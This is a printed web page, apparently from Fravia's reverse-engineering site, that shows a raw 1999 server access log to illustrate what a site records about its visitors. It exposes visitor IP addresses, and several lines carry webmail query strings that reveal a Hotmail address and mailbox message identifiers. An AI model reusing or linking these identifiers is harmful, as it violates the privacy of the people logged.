194.88.227.130, -, 6/3/99, 9:16:20, W3SVC1, FRAVIA, 129.105.116.5, 0, 276, 228, 200, 0, HEAD,
/fravia/bilicit3.jpg, -,
137.222.103.136, -, 6/3/99, 9:16:20, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 225, 200, 0, HEAD,
/fravia/hand_ori.gif, -,
137.222.103.136, -, 6/3/99, 9:16:20, W3SVC1, FRAVIA, 129.105.116.5, 13359, 142, 125902, 200, 0, GET,
/fravia/bigandr.gif, -,
137.222.103.136, -, 6/3/99, 9:16:24, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/pilgrim.htm, -,
137.222.103.136, -, 6/3/99, 9:16:25, W3SVC1, FRAVIA, 129.105.116.5, 9544, 143, 22615, 200, 0, GET,
/fravia/swann_mm.htm, -,
137.222.103.136, -, 6/3/99, 9:16:25, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 225, 200, 0, HEAD,

http://www.instinct.org/fravia/whatdika.htm (13 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/hand_ste.gif, -,
137.222.103.136, -, 6/3/99, 9:16:28, W3SVC1, FRAVIA, 129.105.116.5, 12868, 142, 12589, 200, 0, GET,
/fravia/rebirth.htm, -,
137.222.103.136, -, 6/3/99, 9:16:28, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/fragas1.htm, -,
194.88.227.130, -, 6/3/99, 9:16:30, W3SVC1, FRAVIA, 129.105.116.5, 0, 275, 225, 200, 0, HEAD,
/fravia/blackbo.gif, -,
137.222.103.136, -, 6/3/99, 9:16:30, W3SVC1, FRAVIA, 129.105.116.5, 0, 149, 143, 404, 2, HEAD,
/fravia/dynamictext.class, -,
137.222.103.136, -, 6/3/99, 9:16:33, W3SVC1, FRAVIA, 129.105.116.5, 3996, 143, 18416, 200, 0, GET,
/fravia/laste_09.htm, -,
137.222.103.136, -, 6/3/99, 9:16:36, W3SVC1, FRAVIA, 129.105.116.5, 20029, 142, 127687, 200, 0, GET,
/fravia/outfile.gif, -,
137.222.103.136, -, 6/3/99, 9:16:40, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/mamm_gip.htm, -,
137.222.103.136, -, 6/3/99, 9:16:42, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/project9.gif, -,
137.222.103.136, -, 6/3/99, 9:16:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/howtouse.htm, -,
137.222.103.136, -, 6/3/99, 9:16:45, W3SVC1, FRAVIA, 129.105.116.5, 14711, 142, 18262, 200, 0, GET,
/fravia/pilgrim.htm, -,
137.222.103.136, -, 6/3/99, 9:16:45, W3SVC1, FRAVIA, 129.105.116.5, 14921, 143, 5510, 200, 0, GET,
/fravia/hand_ori.gif, -,
137.222.103.136, -, 6/3/99, 9:16:47, W3SVC1, FRAVIA, 129.105.116.5, 15943, 142, 25363, 200, 0, GET,
/fravia/coc_001.htm, -,
137.222.103.136, -, 6/3/99, 9:16:47, W3SVC1, FRAVIA, 129.105.116.5, 15923, 143, 10505, 200, 0, GET,
/fravia/t_tamra7.gif, -,
137.222.103.136, -, 6/3/99, 9:16:50, W3SVC1, FRAVIA, 129.105.116.5, 15392, 143, 5416, 200, 0, GET,
/fravia/hand_ste.gif, -,
137.222.103.136, -, 6/3/99, 9:16:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 228, 200, 0, HEAD,
/fravia/protect6.jpg, -,
137.222.103.136, -, 6/3/99, 9:16:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/enh_ida.htm, -,
137.222.103.136, -, 6/3/99, 9:16:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/orwell.gif, -,
137.222.103.136, -, 6/3/99, 9:16:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/jn_essay.htm, -,
137.222.103.136, -, 6/3/99, 9:16:52, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 143, 404, 2, HEAD,
/fravia/info.htm-, -,
137.222.103.136, -, 6/3/99, 9:16:52, W3SVC1, FRAVIA, 129.105.116.5, 9303, 142, 21461, 200, 0, GET,
/fravia/fragas1.htm, -,
137.222.103.136, -, 6/3/99, 9:16:58, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/adqlinu1.htm, -,
137.222.103.136, -, 6/3/99, 9:17:04, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/papers.gif, -,
137.222.103.136, -, 6/3/99, 9:17:09, W3SVC1, FRAVIA, 129.105.116.5, 15192, 143, 4652, 200, 0, GET,
/fravia/project9.gif, -,
137.222.103.136, -, 6/3/99, 9:17:11, W3SVC1, FRAVIA, 129.105.116.5, 15643, 143, 22074, 200, 0, GET,
/fravia/howtouse.htm, -,
137.222.103.136, -, 6/3/99, 9:17:11, W3SVC1, FRAVIA, 129.105.116.5, 19748, 143, 71416, 200, 0, GET,
/fravia/mamm_gip.htm, -,
192.167.20.59, -, 6/3/99, 9:17:13, W3SVC1, FRAVIA, 129.105.116.5, 9503, 326, 18419, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (14 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/howtosea.htm, -,
137.222.103.136, -, 6/3/99, 9:17:16, W3SVC1, FRAVIA, 129.105.116.5, 12688, 143, 13896, 200, 0, GET,
/fravia/jn_essay.htm, -,
192.167.20.59, -, 6/3/99, 9:17:17, W3SVC1, FRAVIA, 129.105.116.5, 12888, 319, 84284, 200, 0, GET,
/fravia/howtse1.jpg, -,
137.222.103.136, -, 6/3/99, 9:17:20, W3SVC1, FRAVIA, 129.105.116.5, 15112, 141, 1644, 200, 0, GET,
/fravia/orwell.gif, -,
137.222.103.136, -, 6/3/99, 9:17:20, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/marigo_4.htm, -,
137.222.103.136, -, 6/3/99, 9:17:22, W3SVC1, FRAVIA, 129.105.116.5, 19387, 143, 69240, 200, 0, GET,
/fravia/protect6.jpg, -,
137.222.103.136, -, 6/3/99, 9:17:22, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/securom1.htm, -,
137.222.103.136, -, 6/3/99, 9:17:22, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 231, 200, 0, HEAD,
/fravia/self32.zip, -,
137.222.103.136, -, 6/3/99, 9:17:22, W3SVC1, FRAVIA, 129.105.116.5, 19908, 142, 46840, 200, 0, GET,
/fravia/enh_ida.htm, -,
155.253.16.58, -, 6/3/99, 9:17:26, W3SVC1, FRAVIA, 129.105.116.5, 28031, 328, 67565, 200, 0, GET,
/fravia/psedit.zip, -,
137.222.103.136, -, 6/3/99, 9:17:26, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 225, 200, 0, HEAD,
/fravia/javacral.htm, -,
137.222.103.136, -, 6/3/99, 9:17:26, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 232, 200, 0, HEAD,
/fravia/heavy.zip, -,
137.222.103.136, -, 6/3/99, 9:17:27, W3SVC1, FRAVIA, 129.105.116.5, 11267, 141, 5653, 200, 0, GET,
/fravia/papers.gif, -,
137.222.103.136, -, 6/3/99, 9:17:27, W3SVC1, FRAVIA, 129.105.116.5, 12178, 143, 18324, 200, 0, GET,
/fravia/adqlinu1.htm, -,
137.222.103.136, -, 6/3/99, 9:17:27, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/redirect.htm, -,
137.222.103.136, -, 6/3/99, 9:17:30, W3SVC1, FRAVIA, 129.105.116.5, 0, 139, 228, 200, 0, HEAD,
/fravia/ff1.jpg, -,
137.222.103.136, -, 6/3/99, 9:17:30, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 230, 200, 0, HEAD,
/fravia/aescul.zip, -,
137.222.103.136, -, 6/3/99, 9:17:30, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 226, 200, 0, HEAD,
/fravia/twodisk.htm, -,
137.222.103.136, -, 6/3/99, 9:17:34, W3SVC1, FRAVIA, 129.105.116.5, 4927, 143, 28654, 200, 0, GET,
/fravia/marigo_4.htm, -,
137.222.103.136, -, 6/3/99, 9:17:35, W3SVC1, FRAVIA, 129.105.116.5, 6079, 143, 8172, 200, 0, GET,
/fravia/javacral.htm, -,
137.222.103.136, -, 6/3/99, 9:17:35, W3SVC1, FRAVIA, 129.105.116.5, 6490, 141, 3181, 200, 0, GET,
/fravia/self32.zip, -,
137.222.103.136, -, 6/3/99, 9:17:35, W3SVC1, FRAVIA, 129.105.116.5, 6078, 143, 14355, 200, 0, GET,
/fravia/redirect.htm, -,
137.222.103.136, -, 6/3/99, 9:17:35, W3SVC1, FRAVIA, 129.105.116.5, 6549, 140, 3309, 200, 0, GET,
/fravia/heavy.zip, -,
137.222.103.136, -, 6/3/99, 9:17:35, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/project3.gif, -,
137.222.103.136, -, 6/3/99, 9:17:38, W3SVC1, FRAVIA, 129.105.116.5, 8883, 143, 35887, 200, 0, GET,
/fravia/securom1.htm, -,
137.222.103.136, -, 6/3/99, 9:17:38, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 228, 200, 0, HEAD,
/fravia/getho.jpg, -,
137.222.103.136, -, 6/3/99, 9:17:39, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 233, 200, 0, HEAD,

http://www.instinct.org/fravia/whatdika.htm (15 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/tron130.zip, -,
137.222.103.136, -, 6/3/99, 9:17:39, W3SVC1, FRAVIA, 129.105.116.5, 10, 141, 143, 404, 2, HEAD,
/fravia/howtouse/, -,
137.222.103.136, -, 6/3/99, 9:17:39, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/caligo4.htm, -,
137.222.103.136, -, 6/3/99, 9:17:39, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/twdappl2.htm, -,
192.167.20.59, -, 6/3/99, 9:17:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 316, 5677, 200, 0, GET,
/fravia/papers.gif, -,
192.167.20.59, -, 6/3/99, 9:17:43, W3SVC1, FRAVIA, 129.105.116.5, 721, 315, 1648, 200, 0, GET,
/fravia/hcu97.gif, -,
192.167.20.59, -, 6/3/99, 9:17:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 313, 37343, 200, 0, GET, /fravia/ff1.jpg,
-,
192.167.20.59, -, 6/3/99, 9:17:43, W3SVC1, FRAVIA, 129.105.116.5, 441, 315, 1652, 200, 0, GET,
/fravia/hcu98.gif, -,
137.222.103.136, -, 6/3/99, 9:17:46, W3SVC1, FRAVIA, 129.105.116.5, 7951, 141, 976, 200, 0, GET,
/fravia/aescul.zip, -,
192.167.20.59, -, 6/3/99, 9:17:46, W3SVC1, FRAVIA, 129.105.116.5, 531, 316, 3133, 200, 0, GET,
/fravia/useful.gif, -,
137.222.103.136, -, 6/3/99, 9:17:46, W3SVC1, FRAVIA, 129.105.116.5, 8512, 142, 10191, 200, 0, GET,
/fravia/twodisk.htm, -,
192.167.20.59, -, 6/3/99, 9:17:48, W3SVC1, FRAVIA, 129.105.116.5, 9624, 324, 17079, 200, 0, GET,
/fravia/papers.htm, -,
192.167.20.59, -, 6/3/99, 9:17:48, W3SVC1, FRAVIA, 129.105.116.5, 982, 315, 1715, 200, 0, GET,
/fravia/tough.gif, -,
137.222.103.136, -, 6/3/99, 9:17:48, W3SVC1, FRAVIA, 129.105.116.5, 12498, 138, 37319, 200, 0, GET,
/fravia/ff1.jpg, -,
137.222.103.136, -, 6/3/99, 9:17:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/stupid.gif, -,
192.167.20.59, -, 6/3/99, 9:17:52, W3SVC1, FRAVIA, 129.105.116.5, 3896, 317, 5407, 200, 0, GET,
/fravia/packers.gif, -,
137.222.103.136, -, 6/3/99, 9:17:53, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/notassi3.gif, -,
137.222.103.136, -, 6/3/99, 9:17:53, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 143, 404, 2, HEAD,
/fravia/project9/, -,
137.222.103.136, -, 6/3/99, 9:17:58, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 227, 200, 0, HEAD,
/fravia/rhino.htm, -,
137.222.103.136, -, 6/3/99, 9:18:00, W3SVC1, FRAVIA, 129.105.116.5, 13900, 143, 4466, 200, 0, GET,
/fravia/project3.gif, -,
137.222.103.136, -, 6/3/99, 9:18:02, W3SVC1, FRAVIA, 129.105.116.5, 11056, 142, 12545, 200, 0, GET,
/fravia/caligo4.htm, -,
137.222.103.136, -, 6/3/99, 9:18:04, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 143, 404, 2, HEAD,
/fravia/comprot.gif, -,
137.222.103.136, -, 6/3/99, 9:18:04, W3SVC1, FRAVIA, 129.105.116.5, 15101, 142, 24248, 200, 0, GET,
/fravia/tron130.zip, -,
137.222.103.136, -, 6/3/99, 9:18:04, W3SVC1, FRAVIA, 129.105.116.5, 14090, 140, 26858, 200, 0, GET,
/fravia/getho.jpg, -,
137.222.103.136, -, 6/3/99, 9:18:05, W3SVC1, FRAVIA, 129.105.116.5, 6649, 143, 12784, 200, 0, GET,
/fravia/twdappl2.htm, -,
137.222.103.136, -, 6/3/99, 9:18:05, W3SVC1, FRAVIA, 129.105.116.5, 3175, 141, 1644, 200, 0, GET,
/fravia/stupid.gif, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 1643, 143, 5058, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (16 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/notassi3.gif, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 226, 200, 0, HEAD,
/fravia/timelock.gif, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/owlimpo.htm, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 224, 200, 0, HEAD,
/fravia/snippets.gif, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/porvbo1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 224, 200, 0, HEAD,
/fravia/visualba.gif, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/enbecor.htm, -,
137.222.103.136, -, 6/3/99, 9:18:07, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 232, 200, 0, HEAD,
/fravia/fp_si321.zip, -,
137.222.103.136, -, 6/3/99, 9:18:08, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 143, 404, 2, HEAD,
/fravia/project7/, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 0, 145, 143, 404, 2, HEAD,
/fravia/corporate.htm, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 3945, 143, 1653, 200, 0, GET,
/fravia/snippets.gif, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 4336, 143, 5090, 200, 0, GET,
/fravia/visualba.gif, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 3796, 143, 5939, 200, 0, GET,
/fravia/timelock.gif, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 4006, 142, 22635, 200, 0, GET,
/fravia/owlimpo.htm, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 4907, 140, 22373, 200, 0, GET,
/fravia/rhino.htm, -,
137.222.103.136, -, 6/3/99, 9:18:13, W3SVC1, FRAVIA, 129.105.116.5, 4306, 142, 23245, 200, 0, GET,
/fravia/porvbo1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:14, W3SVC1, FRAVIA, 129.105.116.5, 3094, 142, 10498, 200, 0, GET,
/fravia/enbecor.htm, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/xdae_22.htm, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/numega.gif, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/everlock.htm, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 10, 142, 227, 200, 0, HEAD,
/fravia/soz_li.htm, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/crunchi7.htm, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 232, 200, 0, HEAD,
/fravia/icedump3.zip, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/ourtobig.gif, -,
137.222.103.136, -, 6/3/99, 9:18:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/project4.gif, -,
137.222.103.136, -, 6/3/99, 9:18:25, W3SVC1, FRAVIA, 129.105.116.5, 4226, 143, 4602, 200, 0, GET,
/fravia/fp_si321.zip, -,
137.222.103.136, -, 6/3/99, 9:18:27, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,

http://www.instinct.org/fravia/whatdika.htm (17 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/project6.gif, -,
137.222.103.136, -, 6/3/99, 9:18:27, W3SVC1, FRAVIA, 129.105.116.5, 3625, 141, 5782, 200, 0, GET,
/fravia/numega.gif, -,
137.222.103.136, -, 6/3/99, 9:18:29, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/siul_333.htm, -,
137.222.103.136, -, 6/3/99, 9:18:29, W3SVC1, FRAVIA, 129.105.116.5, 5348, 142, 12182, 200, 0, GET,
/fravia/xdae_22.htm, -,
195.241.201.219, -, 6/3/99, 9:18:29, W3SVC1, FRAVIA, 129.105.116.5, 0, 314, 140, 304, 0, GET,
/fravia/javascri.gif, -,
137.222.103.136, -, 6/3/99, 9:18:30, W3SVC1, FRAVIA, 129.105.116.5, 5688, 141, 13853, 200, 0, GET,
/fravia/soz_li.htm, -,
195.241.201.219, -, 6/3/99, 9:18:30, W3SVC1, FRAVIA, 129.105.116.5, 0, 312, 140, 304, 0, GET,
/fravia/bulletr.gif, -,
137.222.103.136, -, 6/3/99, 9:18:30, W3SVC1, FRAVIA, 129.105.116.5, 5738, 143, 6341, 200, 0, GET,
/fravia/icedump3.zip, -,
137.222.103.136, -, 6/3/99, 9:18:30, W3SVC1, FRAVIA, 129.105.116.5, 5878, 143, 3053, 200, 0, GET,
/fravia/project4.gif, -,
137.222.103.136, -, 6/3/99, 9:18:30, W3SVC1, FRAVIA, 129.105.116.5, 6049, 143, 16764, 200, 0, GET,
/fravia/everlock.htm, -,
137.222.103.136, -, 6/3/99, 9:18:32, W3SVC1, FRAVIA, 129.105.116.5, 6669, 143, 35657, 200, 0, GET,
/fravia/crunchi7.htm, -,
137.222.103.136, -, 6/3/99, 9:18:32, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/bigdongl.gif, -,
137.222.103.136, -, 6/3/99, 9:18:33, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/mm_dat.htm, -,
137.222.103.136, -, 6/3/99, 9:18:33, W3SVC1, FRAVIA, 129.105.116.5, 8492, 143, 28538, 200, 0, GET,
/fravia/ourtobig.gif, -,
137.222.103.136, -, 6/3/99, 9:18:35, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/kilbycd.htm, -,
137.222.103.136, -, 6/3/99, 9:18:35, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/melticed.txt, -,
137.222.103.136, -, 6/3/99, 9:18:35, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 227, 200, 0, HEAD,
/fravia/meltice.c, -,
137.222.103.136, -, 6/3/99, 9:18:35, W3SVC1, FRAVIA, 129.105.116.5, 0, 146, 228, 200, 0, HEAD,
/fravia/protec_big.jpg, -,
137.222.103.136, -, 6/3/99, 9:18:38, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 227, 200, 0, HEAD,
/fravia/svdcd1.htm, -,
192.167.20.59, -, 6/3/99, 9:18:40, W3SVC1, FRAVIA, 129.105.116.5, 1492, 317, 6408, 200, 0, GET,
/fravia/protec.gif, -,
192.167.20.59, -, 6/3/99, 9:18:40, W3SVC1, FRAVIA, 129.105.116.5, 3115, 325, 7783, 200, 0, GET,
/fravia/antiwa1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:40, W3SVC1, FRAVIA, 129.105.116.5, 6189, 143, 33016, 200, 0, GET,
/fravia/siul_333.htm, -,
137.222.103.136, -, 6/3/99, 9:18:42, W3SVC1, FRAVIA, 129.105.116.5, 6840, 143, 4478, 200, 0, GET,
/fravia/project6.gif, -,
137.222.103.136, -, 6/3/99, 9:18:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/marajasp.htm, -,
137.222.103.136, -, 6/3/99, 9:18:44, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 226, 200, 0, HEAD,
/fravia/tellme.gif, -,
195.241.201.219, -, 6/3/99, 9:18:44, W3SVC1, FRAVIA, 129.105.116.5, 0, 314, 140, 304, 0, GET,
/fravia/javascri.gif, -,
195.241.201.219, -, 6/3/99, 9:18:44, W3SVC1, FRAVIA, 129.105.116.5, 2544, 350, 14180, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (18 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/bay_js_2.htm, -,
195.241.201.219, -, 6/3/99, 9:18:44, W3SVC1, FRAVIA, 129.105.116.5, 10, 312, 140, 304, 0, GET,
/fravia/bulletr.gif, -,
137.222.103.136, -, 6/3/99, 9:18:44, W3SVC1, FRAVIA, 129.105.116.5, 5778, 141, 8465, 200, 0, GET,
/fravia/mm_dat.htm, -,
137.222.103.136, -, 6/3/99, 9:18:46, W3SVC1, FRAVIA, 129.105.116.5, 5818, 140, 2190, 200, 0, GET,
/fravia/meltice.c, -,
137.222.103.136, -, 6/3/99, 9:18:46, W3SVC1, FRAVIA, 129.105.116.5, 6088, 142, 13175, 200, 0, GET,
/fravia/kilbycd.htm, -,
137.222.103.136, -, 6/3/99, 9:18:46, W3SVC1, FRAVIA, 129.105.116.5, 5608, 143, 2773, 200, 0, GET,
/fravia/melticed.txt, -,
137.222.103.136, -, 6/3/99, 9:18:47, W3SVC1, FRAVIA, 129.105.116.5, 9053, 143, 79530, 200, 0, GET,
/fravia/bigdongl.gif, -,
137.222.103.136, -, 6/3/99, 9:18:47, W3SVC1, FRAVIA, 129.105.116.5, 3966, 141, 12424, 200, 0, GET,
/fravia/svdcd1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:49, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/india_r1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/pilgrim2.htm, -,
137.222.103.136, -, 6/3/99, 9:18:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/probet_1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:50, W3SVC1, FRAVIA, 129.105.116.5, 7521, 145, 62231, 200, 0, GET,
/fravia/protec_big.jpg, -,
137.222.103.136, -, 6/3/99, 9:18:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/protecti.gif, -,
137.222.103.136, -, 6/3/99, 9:18:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/project7.gif, -,
137.222.103.136, -, 6/3/99, 9:18:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 189, 143, 404, 3, HEAD,
/fravia/py/nfCmp.py-Pyt=Tnf&1st=1&to=shellex@hotmail.com&YY=27620, -,
137.222.103.136, -, 6/3/99, 9:18:53, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/whosorc.htm, -,
137.222.103.136, -, 6/3/99, 9:18:53, W3SVC1, FRAVIA, 129.105.116.5, 4787, 141, 11999, 200, 0, GET,
/fravia/tellme.gif, -,
137.222.103.136, -, 6/3/99, 9:18:55, W3SVC1, FRAVIA, 129.105.116.5, 3845, 143, 10058, 200, 0, GET,
/fravia/marajasp.htm, -,
137.222.103.136, -, 6/3/99, 9:18:55, W3SVC1, FRAVIA, 129.105.116.5, 0, 254, 143, 404, 3, HEAD,
/fravia/py/nfLttr.py-Pyt=Tnf&toc=1&box=Inbox&message=903_2339482_65367_739_18455_0&sort=date&order=down&inc=25&num=1&YY=6695&pos=0,
-,
137.222.103.136, -, 6/3/99, 9:18:55, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/cdromcla.htm, -,
137.222.103.136, -, 6/3/99, 9:18:57, W3SVC1, FRAVIA, 129.105.116.5, 3455, 143, 23676, 200, 0, GET,
/fravia/india_r1.htm, -,
137.222.103.136, -, 6/3/99, 9:18:57, W3SVC1, FRAVIA, 129.105.116.5, 0, 254, 143, 404, 3, HEAD,
/fravia/py/nfLttr.py-Pyt=Tnf&box=Inbox&message=903_2339482_65367_739_18455_0&sort=date&PRE=1&order=down&inc=25&num=1&YY=6695&pos=0,
-,
137.222.103.136, -, 6/3/99, 9:18:59, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/softtric.htm, -,
193.174.75.166, -, 6/3/99, 9:18:59, W3SVC1, FRAVIA, 129.105.116.5, 0, 598, 163, 304, 0, GET,
/fravia/index.htm, -,
137.222.103.136, -, 6/3/99, 9:19:03, W3SVC1, FRAVIA, 129.105.116.5, 8031, 143, 21692, 200, 0, GET,
/fravia/probet_1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:04, W3SVC1, FRAVIA, 129.105.116.5, 8902, 143, 1644, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (19 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/project7.gif, -,
137.222.103.136, -, 6/3/99, 9:19:04, W3SVC1, FRAVIA, 129.105.116.5, 9133, 143, 1691, 200, 0, GET,
/fravia/protecti.gif, -,
137.222.103.136, -, 6/3/99, 9:19:04, W3SVC1, FRAVIA, 129.105.116.5, 10, 254, 143, 404, 3, HEAD,
/fravia/py/nfLttr.py-Pyt=Tnf&box=Inbox&message=903_2339482_65367_739_18455_0&sort=date&NEX=1&order=down&inc=25&num=1&YY=6695&pos=0,
-,
137.222.103.136, -, 6/3/99, 9:19:05, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 225, 200, 0, HEAD,
/fravia/septem.htm, -,
137.222.103.136, -, 6/3/99, 9:19:05, W3SVC1, FRAVIA, 129.105.116.5, 7271, 143, 24293, 200, 0, GET,
/fravia/pilgrim2.htm, -,
137.222.103.136, -, 6/3/99, 9:19:09, W3SVC1, FRAVIA, 129.105.116.5, 0, 197, 143, 404, 3, HEAD,
/fravia/py/nfMBox.py-Pyt=Tnf&box=Inbox&sort=date&order=down&YY=6695&pos=0, -,
137.222.103.136, -, 6/3/99, 9:19:09, W3SVC1, FRAVIA, 129.105.116.5, 12718, 142, 34190, 200, 0, GET,
/fravia/whosorc.htm, -,
192.167.20.59, -, 6/3/99, 9:19:09, W3SVC1, FRAVIA, 129.105.116.5, 2514, 326, 17924, 200, 0, GET,
/fravia/javascri.htm, -,
137.222.103.136, -, 6/3/99, 9:19:10, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/acaele1.htm, -,
137.222.103.136, -, 6/3/99, 9:19:10, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 226, 200, 0, HEAD,
/fravia/progcor.gif, -,
137.222.103.136, -, 6/3/99, 9:19:12, W3SVC1, FRAVIA, 129.105.116.5, 10, 141, 143, 404, 2, HEAD,
/fravia/pna1.htm-, -,
